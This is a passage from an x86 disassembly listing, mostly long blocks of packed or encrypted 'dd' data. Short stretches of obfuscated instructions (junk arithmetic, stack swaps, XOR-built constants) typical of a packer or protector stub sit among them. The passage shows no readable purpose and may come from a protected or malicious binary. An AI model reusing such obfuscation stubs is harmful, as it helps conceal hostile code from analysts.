47h, 6BE86DB4h, 3EC87D92h, 56F500EDh, 0D09F34D4h dd 3F86902Dh, 219F4633h, 31010E9Ah, 45042F67h, 95239EA1h dd 0A403D58h, 67EC8C18h, 0C4F5A2D9h, 0A4932C9Ah, 8572F77Ah dd 6C845BE2h, 7A1E2CC9h, 0B1C9969Bh, 1BE0660Ah, 7A9C39DCh dd 0E05FE6E3h, 0C4F55E02h, 248E75Dh, 931DA23Eh, 0DC1BEB57h dd 951AF39h, 848DCE36h, 26511E05h, 7DF8017Eh, 31973DC8h dd 943416AFh, 341Bh, 0A23EA700h, 0DF6D931Dh, 4B2BBAFCh dd 785820ACh, 0F877BA5Eh, 3EC83AE1h, 6D800A80h, 3CDB1BE8h dd 0DF1B969Ch, 6AB5FA2Ah, 0D456FB20h, 256FC4Eh, 16h, 1DA23E58h dd 17E66D93h, 1A3EC87Dh, 0E56DA62Ch, 0B238DF1Bh, 0E86D56FCh dd 7D17E66Dh, 0DC6A3EC8h, 0C87D8657h, 0DF6BD93Eh, 0BB6ADD06h dd 0C217B7CFh, 1BBABBB5h, 0AD4AC882h, 47961D98h, 1A3EC815h dd 0ACC3C49Eh, 65E30C13h, 1EC2618Ch, 0CF325219h, 1B36F83Eh dd 13B65996h, 0CD0C930Eh, 0A4C13436h, 7D244D26h, 31C66AE0h dd 0EF04A148h, 54D85B02h, 0B14DD1DBh, 8EA7473Eh, 49E68D65h dd 8F28CFAAh, 84B2BD5Fh, 83084717h, 0F630CF76h, 281AC7Eh dd 2FD8h, 0DC1B6A00h, 0E37A9C39h, 26E05FE6h, 39C4F55Fh dd 46CD48CBh, 0C72CA3B7h, 0A4B03CCAh, 57304C04h, 2E0922C6h dd 713E7100h, 0AC41E584h, 0B98120C3h, 9C39DC1Bh, 5FE6E37Ah dd 0F54FB6E0h, 0B83BC9C4h, 0CF680FEBh, 0F63CDB7Bh, 1704DF6Dh dd 708E166Ch, 0BD025ED0h, 6AEE5733h, 0FBB0C3C8h, 55DB7B9Bh dd 0B239DC1Bh, 0BBC93526h, 3DE1C723h, 6D0951F7h, 0E2116EDFh dd 0A24611D0h, 84B90068h, 3D7605h, 49CF0000h, 7E6D782Eh dd 0E06057E3h, 3EEC32D6h, 6D931DA2h, 4EA564E8h, 8BD60923h dd 7F9766EBh, 4EEA3EC8h, 6D5A43D2h, 0E167E9A7h, 0DF1BE56Dh dd 59FCB238h, 28C86F8Ah, 1B0222h, 3E580000h, 6D931DA2h dd 0C87D17E6h, 0A62C1A3Eh, 0DF1BE56Dh, 966DB238h, 0A014B45Bh dd 39DC1B22h, 6E15DDB2h, 3CD579D1h, 0CFFE6407h, 353CE23Eh dd 447F7602h, 0F96871EEh, 8107C133h, 59AB1BF1h, 0B45720B5h dd 0EB1BE15h, 5220A571h, 66E48128h, 0A0E261E4h, 0BB3B0ECCh dd 0D8A7AA4Dh, 0FA79FC9Fh, 0C7280DE3h, 0E268087Eh, 931DA23Eh dd 0B75A966Dh, 6D44FE17h, 19B65996h, 7F788D31h, 0E86D56DCh dd 0C87D926Bh, 0B757ED3Eh, 1347D558h, 0FF949BD6h, 36E86E12h dd 5848DCEh, 0F02C9A1Eh, 0EB842353h, 4150D35Fh, 21BE618Fh dd 0A6D2A729h, 40E06A03h, 3B87h, 0E86DFB00h, 0C87D926Bh dd 0F800ED3Eh, 1092B855h, 9D22BE70h, 17E66D13h, 633EC87Dh dd 9D1A35D5h, 5A94E33h, 6B38BB49h, 0F852EB8Ah, 0E56DD258h dd 0B238DF1Bh, 440256FCh, 58000000h, 931DA23Eh, 7D17E66Dh dd 1E1A3EC8h, 68FD6E87h, 0F699D7CEh, 0F16FF159h, 6BE86D67h dd 3EC87D92h, 7D9069E6h, 59EF3EC8h, 63DF6BD9h, 157ECBB6h dd 50D558F8h, 855423CCh, 1EC2D4CCh, 38DF1B18h, 1B56FCB2h dd 0A79C39DCh, 3ECFFEC4h, 3ECC382h, 0FB56C060h, 5DF8FBC8h dd 0A84B24B9h, 6205F209h, 0D956DBh, 5FC13303h, 2AEC45E9h dd 6D10DF93h, 39B75E94h, 0C89726B2h, 92CA1A5Dh, 0FD8D90E9h dd 6E7F31A0h, 961436CFh, 0FEB02FF2h, 713B0E48h, 3EEE34D3h dd 57931DA2h, 39DC1BEBh, 360951AFh, 5848DCEh, 77A8h, 1B981D00h dd 3DC87DC2h, 0C187279Dh, 0A7C6A23Eh, 6D008A08h, 0C87D17E6h dd 59DC6A3Eh, 6D17F9D3h, 47E78891h, 1BE86D01h, 6807E6D8h dd 59FD7BCFh, 6BE86DD3h, 3EC87D92h, 55F800EDh, 0D49E33D3h dd 966DA32Dh, 0A60FAB58h, 0A0842ED7h, 0C44A7E22h, 926BE86Dh dd 0ED3EC87Dh, 7609B757h, 82000000h, 62DA79FFh, 5B36678Ah dd 0C88F07D6h, 60EC5A3Eh, 6B49AAE7h, 0DF6509C7h, 931DA23Eh dd 7D17E66Dh, 8C633EC8h, 0B841BE62h, 0D73EC87Dh, 0C34FEF71h dd 0BC43BE45h, 3EC87D3Dh, 0C12B654h, 0E66DE86Dh, 3EC87D17h dd 0F4E9CE6Ah, 7BA2F97Fh, 6DD359FDh, 0CBAC5596h, 0C6942DF5h dd 0A44FE86Ah, 0AAE2CC7h, 0CF56FDF5h, 0B757F600h, 0DC59FC71h dd 0C87D8657h, 0CB6BD93Eh, 6BE86D85h, 3EC87D92h, 22B757EDh dd 3015B255h, 4FEF9663h, 0B73C88DDh, 3EC87D26h, 4C3FCB39h dd 0D20DC44Bh, 0FF840789h, 0C4F57651h, 51C564E2h, 0BB36BD0Ch dd 2D76A534h, 0AA4EBCC7h, 9A8F28A7h, 0B4523D0Fh, 18552A1Bh dd 0F700D579h, 511EB554h, 25AA27AEh, 0CD0BDDD4h, 0DDDE1FA4h dd 13B1CD0Bh, 0B48D3197h, 8F016E8Fh, 2F42EC30h, 872ACDAAh dd 4BE48770h, 4AF36EFAh, 8C0F1679h, 34D417ECh, 88B42EAFh dd 40C341D6h, 88B43AC3h, 71EF55D6h, 0C98836D4h, 0E9882B44h dd 0BB42E512h, 0CC690CE4h, 9941DA7Eh, 3, 1BBC86EFh, 52A13ED9h dd 0EE58225h, 4CA740DFh, 0FE48124h, 51A23BE2h, 0FE48128h dd 4FA441DCh, 10E37C23h, 24AE47E6h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi push 2E8Fh mov [esp], ebp push ebx push 2EFB3CDAh pop ebx xor ebx, 28DA5775h mov edi, ebx mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push 3668h mov [esp], eax mov eax, edi mov [ebp+8], eax pop eax mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_53531C ; --------------------------------------------------------------------------- db 0F8h, 0A0h, 8 dd 8A979267h, 217347B8h, 0FFC50306h, 3B5B28E0h, 0AAA01138h dd 0E744887Dh, 8120F133h, 5F5B3712h, 3538462Bh, 0DE470C57h dd 0E3518C3Ch, 9613C42h, 0A9127F3Fh, 3F095F2Ch, 0B5C13756h dd 0B2AAD46Dh, 1CD8ED35h, 8E49A928h, 2E2ABE41h, 0D49B2816h dd 6E60D171h, 0D54F4375h, 7641637Dh, 39A32178h, 8453AF53h dd 5DE384Bh, 0C8D8D2Eh, 66062175h, 8D89F08Bh, 61B2429h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 6FC35040h dd 5348BBC6h, 0C7F48A72h, 1B076585h, 65EC06h, 3FF08100h dd 0C77C6336h, 1B13D185h, 6, 4D858900h, 0FF061B0Ch, 1B2549B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 181CEB4Dh, 0AEF3A229h, 880FAC48h, 6, 0EAA5EE81h dd 95FF2579h, 61B2F85h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 0ECC35343h, 22D51E7Eh, 0D05649D8h, 760DB8A8h dd 6A3CF3h, 220595FFh, 0C08B061Bh, 0C1421AEBh, 1E80E3DEh dd 59D63327h, 0D4253CB2h, 8347DA9Bh, 6021BA51h, 673366B0h dd 0AE8h, 6C88F00h, 8E78FEE0h, 8B5FD9FBh, 1B32599Dh, 95895F06h dd 61B2E39h, 7146C781h, 0B5890000h, 61B0B6Dh, 1C2F68h dd 699D8B00h, 5A061B07h, 128D9D09h, 378B061Bh, 0DE27D381h dd 0EE815EFEh, 29B80975h, 0D9ADDB81h, 0C6811D60h, 3A8B7E06h dd 310116B8h, 4BF68125h, 8B22FBC0h, 1B111985h, 8B378906h dd 1B30498Dh, 4EF8306h, 0CE9h, 30954F00h, 12647A53h, 2A61FD17h dd 1EA8179h, 0F000000h, 0FFFFAD85h, 19B529FFh, 8D061B19h dd 2176E78Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 19C58D67h, 5CAEFF6Eh, 1EF99589h dd 830F061Bh, 6, 2BE58523h, 8D89061Bh, 61B2429h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 9CC35343h, 0E8D1FF57h dd 5E994h, 0C22A0000h, 31865A9h, 1B0B09BDh, 6585C706h dd 30061B07h, 0C700006Dh, 1B13D185h, 6, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 33624131h, 897D7823h, 1B0F0585h, 0EE95306h, 74000000h dd 9C075CE0h, 5FB0A87h, 58555F6Dh, 0B5FF58A3h, 61B1D45h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0FDC35040h dd 800F5298h, 0Ch, 68D0Fh, 800F0000h, 0 dd 0FFF0BF0Fh, 1B2F8595h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0F1F35B22h dd 0FF006A08h, 1B220595h, 0EBC08B06h, 0E2D20378h, 23D5F975h dd 491A83FAh, 38450480h, 682E4024h, 14AAA518h, 2257E9EDh dd 2695BD52h, 8A5701E7h, 8E95557Ah, 0C1DB09CEh, 0D59C3D35h dd 464878E8h, 4C40120Fh, 794730E9h, 0F7E8FA66h, 0E2C83B9Dh dd 0B799EA43h, 0EDCF012Fh, 0E3CBCD02h, 7388D31Fh, 9A1BB2BEh dd 0B151C820h, 715A9A55h, 404C8987h, 462FE6C6h, 56E3FB4h dd 4D44CF62h, 477B9A1Ch, 5E314BDAh, 168D8D9Dh, 6A062178h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0F1DDC351h, 8B6EFD72h, 1B195595h, 298D8906h dd 6A061B24h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 0F061C356h, 34E69D18h, 8D89BD4Ch dd 61B1CBDh, 76585C7h, 6560061Bh, 8D010000h, 61B17FDh dd 13D185C7h, 61Bh, 81660000h, 0FF1566D3h, 1B0399B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 8BDA0CF4h, 8595FFC6h, 66061B2Fh, 50D5C681h, 95FF006Ah dd 61B2205h, 1FEBC08Bh, 65CED2D7h, 0DD4A71A7h, 39F0C809h dd 19171E70h, 889E5D68h, 1A97E254h, 0FD492175h, 0E8C47AB3h dd 0Fh, 17EDC206h, 0DD3F79DEh, 4EB1A86Ch, 8BBE761Bh, 1B3275B5h dd 81665906h, 81DBB1C0h, 7423C1h, 14E900h, 0DBA70000h dd 6A50D1B7h, 0A77C7BB9h, 8353277Eh, 0A953B5FDh, 0B6BAF494h dd 8121B4A8h, 0B4B469F2h, 6880F21h, 81000000h, 0CF77F8F6h dd 8931FF5Bh, 1B2ECD9Dh, 0E8815F06h, 42EF5E2Ah, 0C779EF81h dd 0B58B416Fh, 61B038Dh, 3236F781h, 9D235D97h, 61B21DDh dd 0F14F781h, 9D8B4E89h, 61B305Dh, 81663989h, 832448C3h dd 850B01E9h, 61B0DD9h, 8A494949h, 1EA81F9h, 0F000000h dd 0FFFFAC85h, 0ED858BFFh, 8D061B29h, 2179C88Dh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0A3F5D5C3h, 93501008h, 298D8933h, 6A061B24h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 7C6CC355h, 0AC58F826h, 0DB801F3Ch, 6585C788h, 0D4061B07h dd 6A000065h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0D39FC353h, 0F78A008h, 85C7DFBFh dd 61B13D1h, 0 dd 257FD381h, 0B5FF47D8h, 61B0DCDh, 3532E681h, 95FF58ECh dd 61B2F85h, 14E8h, 0F4636800h, 5DD9D91Dh, 12096745h, 268DCECAh dd 0FBAD062Fh, 10E8F6h, 0E9630000h, 0B1AE7ABDh, 7C7C8214h dd 41726D56h, 5A570EDDh, 6A5A58h, 220595FFh, 0C08B061Bh dd 2F636BEBh, 634CD21Dh, 876CA238h, 0D2C80BDAh, 2910D709h dd 0A9B4686Ah, 0D7B05777h, 24E94841h, 0F744A9A3h, 0EEAE6159h dd 16AAEF74h, 0DA7CE054h, 132B47F2h, 8E98F92Eh, 0E844CCDBh dd 8CF9FA91h, 6684417Bh, 213B545Fh, 0D05F0217h, 0D284BD3Bh dd 8D2D028Dh, 2682E603h, 82AB6D6h, 0C6DE9A91h, 0B5B248E4h dd 0EC400B2h, 1C852119h, 3B8D8D52h, 6A06217Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 8DEFC355h, 718F643Dh, 5E6C2BA2h, 17D59529h, 8D89061Bh dd 61B2429h, 7E9h, 0F8FAD600h, 1944AB3Ch, 25159529h, 85C7061Bh dd 61B0765h, 641Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 55C35242h, 0BE280F7h, 0B3E57BB0h, 38E0Fh dd 0C6800000h, 9E86095h, 5F000000h, 1473BE42h, 89E48D74h dd 85C7615Fh, 61B13D1h, 0 dd 3A5B5FFh, 6A061Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0FD985EC3h, 0A3C06D0Ch, 8F0FD125h dd 6, 0D29958Bh, 95FF061Bh, 61B2F85h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0E6C35747h, 22505914h, 7F929F85h dd 0FF006AD5h, 1B220595h, 0EBC08B06h, 0BF69272Ch, 0FACCD11Bh dd 0FA464DF6h, 94660BC8h, 596C3CABh, 8F9DA378h, 82E2090h dd 160CF0B5h, 0DAA226D6h, 20CF1E58h, 0ABB7E5F7h, 15FE931h dd 8B520000h, 0E860D4h, 5D000000h, 7B7AED81h, 428B0621h dd 38453D08h, 850F7826h, 138h, 8B0C428Bh, 0C8D3184Ah, 50F179BBh dd 83C33368h, 858904E8h, 61B2429h, 8B04588Bh, 10428BF8h dd 0D3184A8Bh, 0F3F4BEC8h, 0C633C618h, 0E083C72Bh, 4E883FCh dd 7658589h, 428B061Bh, 0D1858914h, 8B061B13h, 0E9531842h dd 0B0h, 981B5FFh, 0B9E9061Bh, 0FF000000h, 1B03A5B5h, 0AEE906h dd 0B5FF0000h, 61B31BDh, 0A3E9h, 49B5FF00h, 0E9061B25h dd 98h, 399B5FFh, 8DE9061Bh, 0FF000000h, 1B2D49B5h, 82E906h dd 0B5FF0000h, 61B005Dh, 77E9h, 0CDB5FF00h, 0E9061B0Dh dd 6Ch, 2299B5FFh, 61E9061Bh, 0FF000000h, 1B249DB5h, 56E906h dd 0B5FF0000h, 61B1D45h, 4BE9h, 0D1B5FF00h, 0E9061B1Bh dd 40h, 25D9B5FFh, 35E9061Bh, 0FF000000h, 1B07B5B5h, 2AE906h dd 0B5FF0000h, 61B02FDh, 1FE9h, 0DDB5FF00h, 0E9061B18h dd 14h, 0BB8D88Bh, 66000000h, 8D8DE3F7h, 6217BDBh, 0E1FFC803h dd 2F8595FFh, 8B5B061Bh, 1B242985h, 4583906h, 0F850Fh dd 6A530000h, 595FF01h, 5B061B22h, 0FFFFE2E9h, 0C35A61FFh dd 6AB85A61h, 0FF77D4C9h, 71858BE0h, 8D061B2Dh, 217CC98Dh dd 1418906h, 85C6C38Bh, 61B239Dh, 30DF6856h, 0B5FFA9C5h dd 61B2F11h, 7046858Dh, 0D0FF061Eh, 24F18D8Dh, 6A51061Bh dd 49B5FF40h, 0FF061B1Bh, 1B1779B5h, 0FFD0FF06h, 1B1B49B5h dd 79B5FF06h, 0E8061B17h, 0Dh, 0CE6FEF9Fh, 56A81B18h, 6F2DE421h dd 835A5A1Ch, 2CC104EAh, 24C10224h, 14030224h, 241CF724h dd 34FFFF33h, 0C3815B17h, 38B2808Ch, 8ED3F381h, 0C381487Ah dd 691BB567h, 3A048F53h, 3B04EF83h, 850F243Ch, 0Fh, 20E9h dd 553C4200h, 34E372C7h, 0E90B9CABh, 0FFFFFFC6h, 100337A4h dd 6FD1BC45h, 30E07850h, 0CE96A634h, 519D8DE1h, 8B061B0Ch dd 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 8E8C98Bh, 0EF000000h dd 694B9213h, 0FCBDD5BBh, 28D0F59h, 8B000000h, 0E3C181FAh dd 0F000062h, 380h, 0F78B6600h, 0F681C033h, 6030D0ABh dd 0E90834FFh, 5, 0B550C2BBh, 0B70F5BC8h, 70C381F1h, 8B3B3B61h dd 77C381F2h, 0F4C46FEh, 0C381FFBFh, 2806DAE4h, 7880Fh dd 0B4600000h, 0F38B66CCh, 4CBA5361h, 8F41DE90h, 0B70F0104h dd 0E3B1BFD2h, 0E8832928h, 48F4B201h, 0D78B4848h, 9DA4F881h dd 850FFFFFh, 0FFFFFFA4h, 0E11FCA81h, 0ABE91F4Dh, 50000000h dd 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh, 0F44592B3h, 0B395A1h dd 0A7ECABDAh, 0B2915D20h, 96B1F46Bh, 55207520h, 0F26BB79Bh dd 9692A5BCh, 3A7594A1h, 9FB79960h, 0B599BD32h, 0A59CB2E9h dd 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h, 0F07B6B5Ch dd 8A924Ah, 45F352D0h, 0A3F653F5h, 44D6D979h, 45E3AFF1h dd 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h, 0B293BCF9h dd 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h dd 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h, 1E80097h dd 3D94E7A6h, 23FF8332h, 1DE9548Eh, 68000013h, 62180C8h dd 0F9FF2FE9h, 81D268FFh, 25E90621h, 68FFF9FFh, 62182B0h dd 0F9FF1BE9h, 840168FFh, 11E90621h, 68FFF9FFh, 6218483h dd 0F9FF07E9h, 853968FFh, 0FDE90621h, 68FFF9FEh, 6218606h dd 0F9FEF3E9h, 86AC68FFh, 0E9E90621h, 68FFF9FEh, 621874Ch dd 0F9FEDFE9h, 88F168FFh, 0D5E90621h, 68FFF9FEh, 62189CCh dd 0F9FECBE9h, 8B2168FFh, 0C1E90621h, 68FFF9FEh, 6218C67h dd 0F9FEB7E9h, 8E7668FFh, 0ADE90621h, 68FFF9FEh, 6218F8Eh dd 0F9FEA3E9h, 0BA5597FFh, 17B6C017h, 0F0976378h, 1EB9BA51h dd 0E68D647Bh, 557C1E43h, 0FDD2751Ch, 5AB150F3h, 6DD7C1Bh dd 2FA346E9h, 2CE0F94h, 0C8A138E9h, 2BDC1BFAh, 0EB8365F3h dd 82255292h, 65E365E5h, 0A94C2BC8h, 0FCCD1406h, 2CCBAA79h dd 1417B793h, 0F5CE7D8Fh, 0D558EEC4h, 2C13C447h, 0C96D4299h dd 860ED370h, 34F7C72Dh, 49ED905Fh, 0AE2690DFh, 0A8FC6AB0h dd 3Dh, 0CBA73E1Ah, 718807ABh, 103EC87Dh, 0F37AF87Ah, 7DE8F16Eh dd 3803EC8h, 3EC87DFAh, 15B32F95h, 7331AE71h, 0ECC4F4AEh dd 7F82C15Eh, 0A8C72CB2h, 0D30973FEh, 85FC6980h, 0E3h dd 6BE86DFDh, 3EC87D92h, 718257EDh, 0D29D32D6h, 7CFE9DD8h dd 42E910E3h, 4F1CA0A5h, 0FDE39C4h, 10DFF494h, 5423D06Dh dd 0BB490EB1h, 6B3EC8B1h, 0D662E98Ch, 403C78D4h, 0EDDB6DCh dd 9F34D373h, 0B5902DD0h, 0CD7110DEh, 40C3065Bh, 0F53759C3h dd 0D154F2C4h, 0B050F702h, 81489D91h, 534925FAh, 63E78027h dd 81FE41E5h, 3D13EDCFh, 0FE9CDC60h, 984CD70Ch, 663BBD60h dd 248E58Ch, 4B26FD80h, 3EE05A4h, 0A1948C5Ch, 1BF443C2h dd 1083BFh, 86215300h, 43E20CE3h, 7C234FA4h, 4AE506DDh dd 822950A7h, 69687ADFh, 0B146E990h, 6E8524C7h, 0AA41E07Fh dd 53872ACDh, 0FDAA33B0h, 0E4C538E9h, 0E0DE1B5Eh, 53F67417h dd 53F601CEh, 0F5048BBAh, 8C3EC87Dh, 3DF07CFEh, 80EA3396h dd 0D817EC8Ch, 3E8C9235h, 149B22A7h, 0C4F4AE1Eh, 0F3C043C1h dd 648C6500h, 822624C1h, 0B2479AA9h, 0D6B0C72Ch, 7A7B487Bh dd 46E906DBh, 80F068A2h, 0CF66FC69h, 0DC000000h, 11E2DC1Bh dd 0EF71D976h, 1FD49D56h, 0AD2052A8h, 2CAF31A1h, 0E13AEFA0h dd 8E3250A4h, 0F1448EB5h, 0B1BE3EC8h, 6BE66B0Eh, 0C8F915E4h dd 3ADE6C3Eh, 8E27CAA5h, 15983188h, 0F9CA1390h, 1FA53EC8h dd 0C537BC7Fh, 56C4F5D7h, 8DF6DF0h, 0E5B980A0h, 8FA19BDh dd 109518B1h, 0F0903743h, 13065A6Bh, 25511E3Dh, 0BD61E986h dd 0B3800381h, 0BD801FC6h, 0E7F27F2Fh, 88284856h, 0FDF8673h dd 43CDAF1Bh, 793AA06Dh, 4900000Fh, 1AF1902Bh, 459A3DDCh dd 0CE3862Dh, 4EA544DFh, 78DD7C23h, 0DB826F62h, 26C9A73Ch dd 0E2816C83h, 2CCFA83Fh, 35BA598Dh, 38E9FCA4h, 6D50F2BBh dd 15B95896h, 8B12B9C0h, 0F88890FDh, 0AD51215Dh, 0DB7E798Eh dd 0E86DF63Ch, 0FEC38A64h, 0BA3F383Bh, 3EC88C23h, 0E782713Eh dd 4730C569h, 0B73A0BA4h, 0C88CA138h, 0A64AC03Eh, 832651h dd 2B4B4533h, 0D957F38Ch, 0F901D635h, 313EB552h, 3981078Eh dd 87482975h, 65FB1ABEh, 0DBC015Eh, 1FBAB986h, 2124C486h dd 0F5F83CA2h, 4039CFC4h, 0A0D331CBh, 0A5CD14CEh, 0BD8D2AC9h dd 0E13BB83Bh, 7AC6AE1Bh, 1EA3730Ch, 0ECAB28ABh, 6F38A9CFh dd 0CF52D9h, 67C656F5h, 759CCD91h, 8E697E22h, 0B8B74CEBh dd 3AB4115h, 0F8954624h, 0E9BE2h, 0EE896B00h, 1BBAB44Bh dd 0E48B677Ch, 22BDAE45h, 0EA91687Fh, 51802247h, 9DE8128h dd 56AD4CEFh, 2D97817h dd 3BAF52F5h, 0FFC21B98h, 0CC9D38E9h, 39DC1BF6h, 0E6E37A9Ch dd 0E05FE25Fh, 3EC87D19h, 0E96E1278h, 3B0A862Fh, 79205A29h dd 4CEB59D5h, 0C24183DAh, 0C72C863Bh, 0E66DF056h, 0C72C8617h dd 0D75EDC6Ah, 118D6258h, 4830FD3Dh, 0B98A23A5h, 0CD018F24h dd 0DA7316E2h, 0A13EDD19h, 9BC98896h, 1E88C7B5h, 0F64EA3A6h dd 5DB0h, 0A73E1200h, 0F4149B22h, 64C4F4B2h, 21BE618Fh dd 3BC98529h, 27B63DB8h, 0E1C72CC9h, 6FDB7417h, 6EB155F3h dd 57551CF3h, 71D97619h, 0D59D56EFh, 0AA29AC2Eh, 0C72CC953h dd 0E3F8982Eh, 23F07312h, 7B225856h, 4DEA68E2h, 75BA59FDh dd 0C72CC966h, 9534D7A0h, 0F7902F3Eh, 0DB3E3h, 0A73E5D00h dd 49169B22h, 58F28B2Eh, 0FC4D73B8h, 51D7C4EAh, 58EAC97Ah dd 0CE8A2EC6h, 0D47118E1h, 0A271F476h, 788F32D5h, 0D343DC7Fh dd 3BB83B8Eh, 3D349064h, 870A91F7h, 8874850Ah, 7D0BCD74h dd 48EB04D9h, 822552A9h, 0E0F976FBh, 7FCD7488h, 4ACC6509h dd 0D04FD6F3h, 37498786h, 0FB9B6BD9h, 0C55DA42Bh, 0D4AF2E8h dd 0DA1A0000h, 2B4BA03Fh, 0DC16ED8Ch, 2E3D9235h, 12DFF493h dd 0F3A9CC6Bh, 0CD6C13DEh, 0F8973A36h, 0D47312E3h, 0AA4DF0FFh dd 0C7169D38h, 9A38E9F9h, 966BF1D1h, 0B33EC87Dh, 0C019962Eh dd 9F3EC87Dh, 0A124A729h, 6105A4D2h, 0EAE3A3DCh, 0CD50B6C4h dd 0B356F9F6h, 24AB531Ch, 0C716FCD5h, 439A19ACh, 1EC716FCh dd 0FA82AA8h, 9417B207h, 91384211h, 0F8AE68EDh, 13B13D2Bh dd 0C6B1B543h, 30AA8343h, 0CC8h, 1EC15C98h, 6B0EADC9h dd 18B75E94h, 7215B0C3h, 4AED945Dh, 955C7527h, 0BCB44BEEh dd 94617619h, 727D52F5h, 17BE30CFh, 0E9F94198h, 734F2038h dd 0B55C966Dh, 0FA9DDB18h, 0CB6BED5Dh, 0F9963936h, 0D35AFDFAh dd 0C4E13C45h, 0C96DF4A9h, 3A15F170h, 84E198D0h, 32B13402h dd 3EC859ABh, 27A040C6h, 6DEh, 0C7DF6D9Bh, 848B3FB2h, 26BB6D11h dd 245320A3h, 0C266E481h, 5E48007Fh, 61E7C4EAh, 47EA05DAh dd 812453A8h, 429A5FE4h, 22B7C717h, 0E8852850h, 0D65DE062h dd 3D2A4638h, 91619F1Bh, 0D71A9845h, 0EB5FF897h, 571BEB6Dh dd 3143C1D1h, 0C127E5Ch, 12E20000h, 0F303D877h, 541EB554h dd 0F6F50AADh, 4A27BC5Bh, 3B6104A3h, 15B45B96h, 700FB2BEh dd 1CBB5A9Bh, 6205A8C7h, 8F4ED570h, 0E238E9F8h, 0DC1B3909h dd 18579C39h, 5721EE75h, 66FB14B4h, 154BB5BCh, 430284B6h dd 642h, 62FF36C2h, 0E4F48E65h, 7D921B58h, 6D11938Bh, 7D966BE7h dd 56E23EC8h, 88F3F88Dh, 0D84AEEE6h, 3EC54881h, 0C4EAADCEh dd 9C8FCE5Ah, 8A99EB15h, 1931CE69h, 0C83BF797h, 0BD5AFDFBh dd 0DFF5048Dh, 0FE8CC716h, 0F77CF97Ch, 0C716DFE6h, 0E86B0B79h dd 9639DC1Bh, 0FA933641h, 8104C51Ch, 2BDBC402h, 80CC503Dh dd 0BAFEE823h, 0D174F090h, 0B008B52h, 8B60E6CDh, 7747C96Ch dd 43C6B1F5h, 45F0EAC3h, 1500000Bh, 469D3CD7h, 11E68928h dd 489F42E9h, 1AF1902Bh, 0B49938DFh, 2FD6A32Eh, 0DA7D7B90h dd 36D5A037h, 90333C93h, 0D956FDF1h, 38E9FB00h, 1BB48E5Fh dd 579C39DCh, 1BD87518h, 51A23BDAh, 1FEB8427h, 0C52C5AF5h dd 0B42C96D9h, 0A20284B5h, 56Eh, 22A73E20h, 0CA7C49Bh dd 0CF6AE96Ch, 8BC4EAFCh, 8D12BEB4h, 0C716FC4Ch, 8323A523h dd 0E5BA41C7h, 44E7100Ah, 0A3CC23C6h, 0CCA67D00h, 82009FCEh dd 68C165E5h, 16FC06DBh, 2B9E23C7h, 0F8ED2BA8h, 98673D2Bh dd 1D19BD60h, 0B20FD7A7h, 54D943C6h, 0A9F86h, 0E27D6F00h dd 2FCEA83Fh, 0D87F7B90h, 36D1A239h, 8E353C93h, 7D5486EBh dd 0D52ACD74h, 8259F89Bh, 9E35D473h, 578B2ED1h, 0FBA637BCh dd 0F0B938E9h, 39DC1B52h, 7518579Ch, 0D29D89D8h, 84B5F068h dd 4D46602h, 6DDC0000h, 7D926BE8h, 57ED3EC8h, 7D9472B7h dd 7C003EC8h, 9817F06Ah, 3EC8B541h, 491AAA20h, 67993D9Dh dd 9F74F7D2h, 0B7932CD3h, 318F1417h, 0A2C4EA6Ah, 66FFA2CDh dd 3DE00FE4h, 8C6B38BBh, 0C6B146E9h, 358C8A23h, 0AC921194h dd 3F3D2A64h, 0C59BF5C9h, 602D43C1h, 9FF7Ah, 29DCF00h dd 0CF6E885Fh, 0F89FDB30h, 0D6718259h, 2ED59C33h, 1DB4E68Bh dd 0F50AAD54h, 22B958FBh, 0BE15B453h, 776B0EB1h, 0FA8657DCh dd 10D938E9h, 2BDC1B32h, 0B29CC6CCh, 0B1911641h, 0D3507505h dd 0C82BC446h, 80730CAFh, 0B83BD477h, 88821BC2h, 638E135Eh dd 21CD3EBCh, 0BAEC94Eh, 993AB26Ch, 991C0285h, 0A9000001h dd 23F89FDAh, 3614B154h, 0E86D8C92h, 0C87D926Bh, 8257ED3Eh dd 1139D671h, 0BC5F986Dh, 0E78B6A39h, 